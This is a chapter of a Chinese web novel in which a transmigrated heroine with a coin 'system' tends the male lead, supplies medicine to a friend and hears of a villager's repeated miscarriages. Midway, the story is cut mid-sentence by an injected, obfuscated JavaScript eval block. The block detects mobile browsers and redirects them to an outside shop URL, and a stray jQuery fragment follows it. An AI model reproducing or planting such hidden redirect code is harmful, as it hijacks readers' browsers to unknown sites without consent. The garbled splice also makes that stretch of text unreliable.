章沫一觉从床上醒过来,天都塌了,系统里明晃晃的一百金币被减半,只剩下五十金币。
007没有全部扣走,只是拿走了一半,章沫从一个没有感情的系统里,隐约察觉出警告,并且闻出来一种阴谋诡计的味道。
她还想挣扎几下,故技重施从007那里尝试挽留一会,喊了好几次,也没活物应答。
也许007被她数次伶牙俐齿的话术洗脑,知道她的尿性,索性不出声,只在板块里留下几行字的滚动字符:已出差,有事留语音。
原来这只神出鬼没的系统还会出差,口说无凭,鬼才行!
沉默后,在橱窗里豪横出手买下50金币一盒的氟康唑片,这是她伟大事业的第一笔交易。
院子里响起一声接着一声的刀削木头的声音,章沫扶着墙壁艰难走到窗户边往外看,方顾生正在院子里削一根木棍。
不知道他去哪里找来的木头,四周都是失败的残次品和零碎的木屑,手里的那根削去了棘手的树皮,一头被他按上杖首,雕刻出来的形状粗看像狗,细看又像猪。
章沫只是静静地望着,没有打扰他的打算,刚刚对男主气火攻心的情绪,轰然被一阵春风化雨填平。
看着看着,她发起了呆。
方顾生可能感受到一道目不转睛的视线,手上的动作顿了顿,侧过头看见站在窗户边上的人,笑出了声。
章沫淡淡回视过去,脸上没有多少表情,心情复杂地放下窗户。
然后十分艰难地蹦跶回了床上,过了好一会,房门敲响,章沫并没有应答,方顾生自作主张推门而入,先是小心谨慎探出个头,看着坐在床头沉默不语的章沫,并没有驱赶的动作,才慢吞吞走了进来,手里拿着做好的拐杖。
章沫目光定在杖头上,细细琢磨那歪瓜裂枣的是个什么东西,明知故问道:“你做的?”
方顾生点头,先前她避讳得太厉害,不大敢出声,站的位置离床边也远。
章沫手伸过去,“给我看看。”
方顾生喜出望外,浓密的睫毛颤了颤,粗糙做工的拐杖被他如获珍宝一样双手奉上。
章沫握住光滑的杖身,说了句,“丑死了”。她嘴上虽然嫌弃,脸上的笑意毫无遮掩地显现出来。
方顾生紧张地站在原地,哼都不哼一声,章沫扬眉看过去,手里的拐杖不轻不重地敲在他腿上,惊喜地发现,短短的时间之内,掌握了拐杖的正确用法。
“哑巴了还是怎么弄的,话都不说,还是我把你毒哑了?”
如此调侃的语气,和之前咄咄逼人的语气大相径庭,方大少紧绷的面部松懈下来,走过去扶住床上的人,“我做的,其他的更丑。先下来试一试,看看趁不趁手。”
方顾生搭在她胳膊上的手指上,布满层层叠叠细密的刀割伤,一看就是粗心大意伤到了手。
章沫心中感慨,匆忙扫过一眼。
男主这番温柔缱绻,要是以后想起来,会是什么样的复杂情绪,会不会拿刀追着她砍。
在方顾生的细心辅助下,章沫能用拐杖熟练地在房间里走一圈。
人一旦休闲下了,就会胡思乱想。
章沫心思郁闷又纠结,他和男主绑定,又要保持楚河汉界的距离,简直比登天还难。男主对她没有由头的好,心中油然而起的戒备心又很快浇灭,只剩下她苦苦挣扎,彻夜难眠。
第二天一大早,章沫拿药送给叶静,拿出的药盒颜色鲜艳,外在包装十分奇特,剥出来的胶囊和现在灰黑的药丸天壤之别。
就像是看天外来物,叶静两指捏住迟迟没有下嘴,愣了很久,才在章沫的催促下就水吞下一粒。
“放心吧,我不会毒害你的,早吃早好。”
章沫说完,自信地笑道,习惯性地靠在方顾生的胳膊上,现在他就是章沫的人形拐杖,招手即来挥手即去。
章沫此时相当于要当一段时间的瘸子,行动不便,在家中能撑着拐杖走一段距离,来叶静家半个时辰的路程,只能是方顾生背着,看伤情,要当几天任劳任怨的马夫。
起先,章沫还很别扭,只觉得不妥,又想到方大少后来觉醒可是会毫不留情卸她腿的变态,也就淡然了,瞬间演变成如何在短时间内压榨他。
叶静从一开始就察觉到两人相安无事、郎情妾意的氛围,不忘调侃道,“你俩好的这么快,我还以为你这倔脾气要几天才能消消火呢。”
章沫面带愠色,一下子站直了,“才没有,我这几天行动不便,要不是有腿伤,你看我理不理她!我崴脚还不是因为他,气死我了!”
叶静认真审视两人,煞有其事点头道:“命中天注定呗,这可以你们和好的奇迹。”
章沫三番五次地解释两人的关系,叶静总是暗搓搓接过话,越说越起劲,眼神也总是明里暗里的,有种说不清道不明的暗示。
章沫说不过她,每每触及到话题,就会转移目标,她没忘记今天的主要任务,问道:“今天有消息不?有没有人来问你关于我的事情。”
叶静拉出椅子让他坐下,摇头道:“哪有那么快,我昨天一有空就去相邻的街坊邻居走了一趟,隐晦地说了一嘴,有消息会跟你说,以后我就是你的活招牌了,怕什么。”
章沫对自己还是很有信心的,拱手道:“静候佳音。”
方顾生扶住她离开,一走出院子,就看到一面容憔悴的女子从另一侧走过来,形色匆匆,可能是被突然出门的两人惊到,惊慌地停在章沫两人面前,慌乱地撇了一眼,又匆忙跑了。
章沫和那女子距离不远,只是一眼,便看清她枯黄的眼睛里的暗淡无光,隐隐感觉精神有点不正常。
叶静匆忙跑出来,担忧道:“你们没事吧?”
章沫指着女子消失的方向,问道:“刚才那个女孩子怎么了?好像有点……”
叶静往外望了一眼,“是我们村的,也是一可怜人,二十岁嫁给自己的夫君,七年了,一共怀过四个孩子,每次没到几个月,无缘无故就没了,也花了几年吃药
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768990|209842||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好好养着,最后一家人都不耐烦了。她相公骂她是孤寡命,一个不能生孩子的女人怎么会受婆家待见。久而久之,村里的人也避讳她,说是上辈子得罪了神灵,这辈子就是受苦受难的,所有人都怕沾染上她身上的霉运,看到她就躲得远远的。这女孩子也疯疯癫癫的,我们有时候看见了也害怕。”
章沫凝神片刻,这绝对不是怪力乱神,她第一反应就是习惯性流产,在中医里叫做滑胎,这方面跟免疫、染色体多重方面都有关系,病因复杂,一般都是夫妻同查,只吃药肯定解决不了根本问题的。
而在生育方面的事,在古代极少归咎于男方,而这件事却不一定。
章沫并没有将自己考虑的情况明说出来,而是在贴身马夫的搀扶下走出一小段路。
两人沉默不语并肩同行,章沫走累了,一手搭在方顾生的肩头上,不用她发一言,方顾生蹲在她的身前,等待着章沫趴上去。
章沫沉默地看着他半蹲在身前的身影,心安理得地趴了上去,只是方顾生刚一起身,一道如芒刺背的窥探目光出现在她身后。
章沫回头看去,灰色的衣角消失在巷道里,她贴在方顾生的耳边道:“有人在那里,跟踪我们,快走。”
他们共同的仇人只有宋宁和方瑾,方瑾知道他们在这里,不可能脑子抽风找人来跟踪。最大的可能就是宋宁,之前就说过不能逃离她眼皮子底下,真的可能追杀到这里了。
方顾生飞快奔逃,背上的章沫颠得一上一下,不仅快吐了,跟着剧烈颠簸的脑子也晕晕乎乎的。
等快到地方,章沫赶紧叫停,查看身后有没有人继续跟着,又让方顾生在四周转了一圈,才让他冲进巷子里回到家。
章沫心惊胆战地想了一路,她现在好像脱离了宋宁的剧情,按道理说,她是宋宁表面上的心腹、得力干将,按书本的剧情,现在是不是要去跟宋宁见上一面,也算是敷衍了事,不能让她的上司觉得她不忠心,忍无可忍之下痛下杀手。
一想到那张蛇蝎心肠的脸,她就打寒战。
这里距离城里不远不近,光走也要大半天的时间,一大早,章沫带着方顾生往城里赶,半路上截了一辆牛车。
赶牛的老爷子是要在城里卖货来填补家用,牛车上堆了好多的枯草,正好能够坐下两个人。
一路山清水秀,章沫躺在半高的草堆上,却没有心思去欣赏路上的风景。昨晚睡的晚,眼下一片青黑,无精打采盯着某一角,方顾生躺在她的身边,用稻草拂过她的脸都没有丝毫察觉。
方顾生看她始终没有反应,一只手伸在她面前晃了两下,章沫才从过度思虑中回过神,不偏不倚看向他,“没事自己玩去,我现在没空理你。”
方顾生“哦”了一声,正色转过脸去。他现在对章沫各种语气做出从善如流的反应,只要她不赞同的事情,绝对不会再犯。
章沫沉思被打断,越想越心浮气躁,方顾生也没有任何反应,好奇地看过去,这小子只要不声不响,就会让她毛骨悚然。